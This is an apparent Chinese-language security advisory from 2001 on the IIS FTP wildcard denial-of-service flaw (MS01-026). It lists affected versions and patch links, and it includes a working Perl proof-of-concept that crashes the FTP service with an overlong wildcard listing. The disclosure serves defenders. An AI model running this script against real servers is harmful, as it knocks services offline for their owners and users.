xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

微软FTP通配符拒绝服务漏洞


发布时间:2001-05-18
更新时间:2001-05-18
严重程度:
威胁程度:远程拒绝服务
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Microsoft IIS 5.0
   + Microsoft Windows 2000 SP1
   + Microsoft Windows 2000
Microsoft IIS 4.0
   - Microsoft Windows NT 4.0SP6a
      + Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP6
      + Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP5
      + Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP4
      + Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP3
      + Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP2
      + Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP1
      + Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0
   + Microsoft BackOffice 4.5
      - Microsoft Windows NT 4.0
   + Microsoft BackOffice 4.0
      - Microsoft Windows NT 4.0
详细描述
微软IIS 4.0/5.0所带的FTP服务存在一个安全漏洞,可以造成对FTP服务器的拒绝服务攻击。一个处理FTP命令通配符序列的功能有时无法在进行模式匹配时分配足够的内存。一般情况下,攻击者可以执行一个带有通配符序列的FTP命令,使它溢出已分配的内存并造成访问错误。这会造成IIS服务(可提供web和FTP功能)中断。

测试代码
Nelson Bunker提供了下列测试代码:

#!/usr/bin/perl
# Author:  Nelson Bunker - Critical Watch
#        http://www.criticalwatch.com
#
# Simple Wildcard Denial of Service for IIS Ftp Servers - MS01-026
# Tested against several servers.  Your mileage may vary.
#
# Assumes anonymous access.
#
# Thanks goes out to Lukasz Luzar [lluzar@developers.of.pl]
# For discovering and sharing this information
#
# May 15, 2001
####################_MAIN::Begin_#####################


use Net::FTP;

        $wildcard='**********************************************************
        ***********************************************';

if (not $ARGV[0]) {

print qq~

       Usage: wildcard_dos.pl <host>

~;

        exit;}


        $IPaddress= $ARGV[0];


        $SIG {'PIPE'} = FoundIt;

        # create new FTP connection w/30 second timeout
        $ftp = Net::FTP->new($IPaddress, Timeout =>  5);

        if(!$ftp){ die"$IPaddress is not responding to ftp connect attempt";}

        if(!$ftp->login("anonymous","tester\@")){ die"FTP user anonymous on
        $IPaddress is unacceptable";}

        $bogus = $ftp->ls($wildcard);


sub FoundIt
        {
        print "This machine \($IPaddress\) is affected\n";
    exit(0);

        }

解决方案
微软已就此发布了一个安全公告(MS01-026)以及相应补丁。

您可以在下列地址看到微软安全公告的详细内容:

http://www.microsoft.com/technet/security/bulletin/ms01-026.asp

补丁程序可以在下列地址下载:

. Microsoft IIS 4.0:
  http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29787

. Microsoft IIS 5.0:
  http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29764

相关信息